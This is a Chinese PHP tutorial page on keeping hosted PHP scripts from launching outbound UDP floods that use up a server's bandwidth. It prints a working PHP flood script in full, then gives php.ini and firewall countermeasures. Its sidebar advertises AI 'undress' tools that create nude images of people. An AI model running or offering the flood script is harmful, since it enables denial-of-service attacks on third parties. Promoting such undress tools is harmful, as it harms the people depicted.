search
Homephp教程php手册防止用户利用PHP代码DOS造成用光网络带宽

防止用户利用PHP代码DOS造成用光网络带宽

Jun 13, 2016 pm 12:11 PM
dosphpsocketscodeusebandwidthserveruseuserofnetworktransferprevent

用PHP代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下:

复制代码 代码如下:


$packets = 0;
$ip = $_GET[\'ip\'];
$rand = $_GET[\'port\'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET[\'time\'];
$time = time();
print \"Flooded: $ip on port $rand
\";
$max_time = $time+$exec_time;
for($i=0;$i$out .= \"X\";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen(\"udp://$ip\", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo \"Packet complete at \".time(\'h:i:s\').\" with $packets (\" . round(($packets*65)/1024, 2) . \" mB) packets averaging \". round($packets/$exec_time, 2) . \" packets/s \\n\";
?>


表现特征:
一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是不断收到大量数据包.
解决办法:
禁止上述的代码:
在c:\windows\php.ini里设置:
disable_functions =gzinflate;
在c:\windows\php.ini里设其值为Off
allow_url_fopen = Off
并且:
;extension=php_sockets.dll
前面的;号一定要有,意思就是限制用sockets.dll
前面的;号要保留
然后重启IIS
如果上述方式仍然无效,你可以在IIS中,允许的扩展中,禁止PHP的扩展测试.
另外,对于没加密的php攻击代码,还可以用以下办法处理:
1.在IP策略,或防火墙中,禁止所有udp向外发送
2.用一流信息监控,在SQL拦截及网址拦截中,拦截port=这个关键词
Statement
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Tools

SecLists

SecLists

SecLists is the ultimate security tester's companion. It is a collection of various types of lists that are frequently used during security assessments, all in one place. SecLists helps make security testing more efficient and productive by conveniently providing all the lists a security tester might need. List types include usernames, passwords, URLs, fuzzing payloads, sensitive data patterns, web shells, and more. The tester can simply pull this repository onto a new test machine and he will have access to every type of list he needs.

mPDF

mPDF

mPDF is a PHP library that can generate PDF files from UTF-8 encoded HTML. The original author, Ian Back, wrote mPDF to output PDF files "on the fly" from his website and handle different languages. It is slower than original scripts like HTML2FPDF and produces larger files when using Unicode fonts, but supports CSS styles etc. and has a lot of enhancements. Supports almost all languages, including RTL (Arabic and Hebrew) and CJK (Chinese, Japanese and Korean). Supports nested block-level elements (such as P, DIV),

SublimeText3 Linux new version

SublimeText3 Linux new version

SublimeText3 Linux latest version

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

DVWA

DVWA

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is very vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, to help web developers better understand the process of securing web applications, and to help teachers/students teach/learn in a classroom environment Web application security. The goal of DVWA is to practice some of the most common web vulnerabilities through a simple and straightforward interface, with varying degrees of difficulty. Please note that this software